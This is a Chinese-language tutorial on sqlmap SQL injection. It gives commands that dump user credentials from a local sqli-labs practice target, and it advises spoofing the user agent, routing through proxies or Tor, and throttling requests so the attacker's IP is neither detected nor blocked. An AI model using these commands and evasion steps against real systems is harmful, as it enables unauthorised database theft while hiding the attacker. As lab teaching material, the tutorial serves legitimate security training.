欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

sql注入————sqlmap自动化注入

程序员文章站 2024-03-15 18:11:30
...

一、sqlmap介绍

1.1 sqlmap支持的5中注入类型
1.2 sqlmap目录介绍
1.3 sqlmap常用参数

sqlmap是一款免费开源的sql自动化注入工具
官网下载地址:http://sqlmap.org/

1.1 sqlmap支持的5中注入类型

1.布尔盲注检测
2.时间盲注检测
3.错误注入检测
4.union注入检测
5.堆叠查询检测

1.2 sqlmap目录介绍

extra ————额外功能。如:发出声响、运行cmd、安全执行、shellcode等
lib ————代码库 包含了五种注入类型的请求参数、提权操作等
plugins ————插件
shell ————包含了注入成功后的9中shell远程连接命令执行和数据库管理
txt ————存放的字典。如:用户浏览器的代理、表、列、关键词等
sqlmap.py ————主程序
sqlmapapi.py ————sqlmap的api文件。可以将sqlmap集成到其他平台

1.3 sqlmap常用参数

–version ————#查看版本信息
-h ————#查看常用功能参数
-hh ————#查看所有参数
-v ————#显示详细信息,一共7级,从0-6,默认是1,数字越大,越详细
Target —————#制定目标
-d —————#直接连接数据库侦听端口,类似于把自己当一个客户端来连接
-u —————#指定url扫描,但url必须存在查询参数。如:xxx.php?id=1
-l —————#指定logfile文件进行扫描,可以结合bp把访问的几率爆出成一个log文件,sqlmap直接加载log文件进行扫描
-m —————#扫描多个url,把多个url保存成一个文本文件,-m加载扫描
-r —————#把http的请求头、body保存成一个文件,同一交个sqlmap。sqlmap对里面的内容进行拼接请求体
–timeout —————#指定超时时间
–retries —————#指定重试次数
–skip-urlencode —————#不进行url加密


二、sqlmap常用探测方式

2.1 探测单个目标
2.2 探测多个目标
2.3 从文件加载http请求进行探测
2.4 从burpsuite日志进行探测
2.5 指定探测类型
2.6 枚举数据库信息

2.1 探测单个目标

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" 

参数指南:
-u ————指定url

2.2 探测多个目标

sqlmap -m urls.txt --dbs --users --batch

参数指南:
-m ———— 指定多个编写了多个url的文件名
-dbs ———— 查询数据库
-users ———— 查询用户
–batch ———— 不使用交互,一切使用默认配置

  1. 将多个url编写到文件里
    sql注入————sqlmap自动化注入
    sql注入————sqlmap自动化注入
  2. 执行sqlmap -m urls.txt --dbs --users (要查询什么内容就指定什么参数)
    sql注入————sqlmap自动化注入
    sql注入————sqlmap自动化注入

2.3 从文件加载http请求进行探测

-r ———— 指定http请求文件

  1. 浏览器打开http://192.168.0.63/sqli-labs/Less-10/,并输入账号和密码(admin,admin)提交。
  2. 打开bp的代理拦截请求
  3. 回到浏览器刷新页面(抓取登陆以后存在的cookie)
    sql注入————sqlmap自动化注入
  4. vim cookie.txt 把http头信息粘贴进去,并在cookie后面添加 * 保存退出
    sql注入————sqlmap自动化注入
    sql注入————sqlmap自动化注入
  5. 执行命令 sqlmap -r cookie.txt --level 3 --batch --dbs
    sql注入————sqlmap自动化注入

2.4 从burpsuite日志进行探测

-l ———— 指定日志目录扫描

  1. 开启bp请求日志记录
    sql注入————sqlmap自动化注入
  2. 然后利用bp多拦截几个网页,log-bp.txt里就有了日志
    sql注入————sqlmap自动化注入
  3. 指定日志文件进行注入
sqlmap -l log-bp.txt --dbs --level 3 --batch

sql注入————sqlmap自动化注入

2.5 指定探测类型

–technique=B 指定sql注入类型。sqlmap中的注入类型有BEUSTQ。默认是B。

  • B:Boolean布尔盲注
  • T:Time时间盲注
  • E:Error错误注入
  • U:Union联合注入
  • S:多语句注入
  • Q:内联注入
    例:sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --technique=B

2.6 枚举数据库信息

 --dbs ———— 爆库
 --tables ———— 爆表
 --colunms ———— 爆字段
 --dump ———— 爆数据
 -D ———— 指定数据库
 -T ———— 指定表
 -C ———— 指定字段

1.判断注入点

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch

sql注入————sqlmap自动化注入
2. 爆库

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch --dbs

sql注入————sqlmap自动化注入
3. 爆表

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security --tables

sql注入————sqlmap自动化注入
4. 爆字段

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users --columns

sql注入————sqlmap自动化注入
5. 爆数据

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users -C "username,password" --dump

或者

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users -columns --dump

sql注入————sqlmap自动化注入


三、sqlmap请求参数

3.1 默认的请求参数

  1. 打开wireshark关闭混杂模式进行抓包(只接收自己的包),过滤器:ip.addr==192.168.0.63
    sql注入————sqlmap自动化注入
  2. 执行探测任务
    aaa@qq.com:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --batch
  3. 打开wireshark停止抓包,查看抓取数据。
    sql注入————sqlmap自动化注入
    发现User-agent:sqlmap/1.3#stable(http://sqlmap.org)\rin 上面有sqlmap的标记,网络管理员可以通过这些特征对我们的访问进行过滤。
    user-agent是什么呢?
    user-agent中文名是用户代理,检测UA,是一个特殊字符串头,有了他服务器才能识别客户端的操作系统及版本、CPU类型、浏览器版本、语言、插件等信息。

3.2 修改默认请求参数

为了不让网管对我们的访问进行过滤,我们需要修改请求参数。

方法一: 手动指定请求参数
利用 --user-agent=" " 来手动指定请求参数

aaa@qq.com:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101" --batch

方法二:自动指定请求参数
利用 --random-agent 来随机指定请求参数

aaa@qq.com:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --random-agent --batch

测试:
sql注入————sqlmap自动化注入
这样就没有ok了

3.3 使用代理进行探测

在sqlmap探测的时候怎么才能不暴露我们的真是ip呢?这个时候就要使用代理在进行探测了。

--proxy="代理地址"	————	单个代理地址
--proxy-file= 代理地址文件路径	————	多个代理地址
--delay ———— 指定间隔延时时间。防止ip被屏蔽

免费的代理地址 http://www.kuaidaili.com/free/inha/
sql注入————sqlmap自动化注入

单个地址代理
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --proxy="127.78.79.150.8081" --delay 1 --random-agent --batch
注: --delay 1 ———— 表示探测延时1s,防止过快的探测速度导致网站屏蔽当前ip地址。

多个地址代理
创建代理文件proxy.txt,我这里创在root下
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --proxy-file= /root/proxy.txt --delay 1 --random-agent --batch

tor匿名代理
使用以上地址代理,虽然能尽量避免服务器对我们的*,但不能完全匿名。使用tor就可以完全匿名。

具体步骤如下:

需要先使用代理访问 tor 网络然后在 sqlmap 中配置 tor 代理。
配置方法:--tor --tor-type 类型一般选择 socks5,然后在 sqlmap 上使用 --check-tor 选项迚行
检查

3.4 忽略未验证错误

参数:
--ignore-401 ———— 忽略未验证错误

原因:
很多存在http认证的网站会提示我们输入用户名密码,如果没输就会返回401错误,所以要忽略未验证错误。

3.5 sqlmap安全模式

如果执行了一定数量的丌成功请求,则 Web 应用程序戒其间的检查技术会破坏会话。这可能发生在
sqlmap 的检测阶段戒利用任何盲 SQL 注入类型时。原因是 SQL 有效负载不一定返回输出,因此可能被
应用程序会话管理戒检查技术检测到从而破坏会话。

–safe-url #测试期间经常访问的 URL 地址。
–safe-post #HTTP POST 数据发送到给定的安全 URL 地址。
–safe-req #从文件加载并使用安全的 HTTP 请求。
–safe-freq #在两次访问给定安全位置之间测试请求。

sqlmap 将访问每个预定丿数量的请求,而丌对 safe url 执行任何类型的注入。

3.6 关闭URL编码

参数:
--skip-urlencode———— 这种情况用于后端服务器不遵循 RFC 标准(URL 编码的标准)并要求数
据以非编码方式迚行传输。

四、sqlmap常用参数优化

  1. 配置持久化连接
    参数:
    --keep-alive

  2. 设置空连接
    参数:
    --null-connection ———— 该参数用于head方式发生http请求时,设置空连接可以不接受服务器返回来body信息,进而减少了数据包大小,提高了盲注探测性能。

  3. 配置多线程
    参数:
    --thread ———— 默认线程为3,最大为10.目标服务器不存在访问限制且性能较好的情况下可以多设几个线程。

  4. 持久化+空连接+多线程
    参数:
    -o ———— 该参数绑定率持久化连接、空连接、多线程这三个参数,线程默认数是3

5.预测输出算法
参数:
--predict-output ———— 该参数使用推理算法,用于对检索到的值的字符迚行顺序统计预测,根据
sqlmap 工作目录下的 txt/common-outputs.txt 结合当前枚丼到的数据给出的预测,从而提升探测效
率,当然如果有遇到常见的名称也可以手劢添加到 txt/common-outputs.txt 文件中
请注意,此开关不–threads 开关不兼容。

知识来源于网络。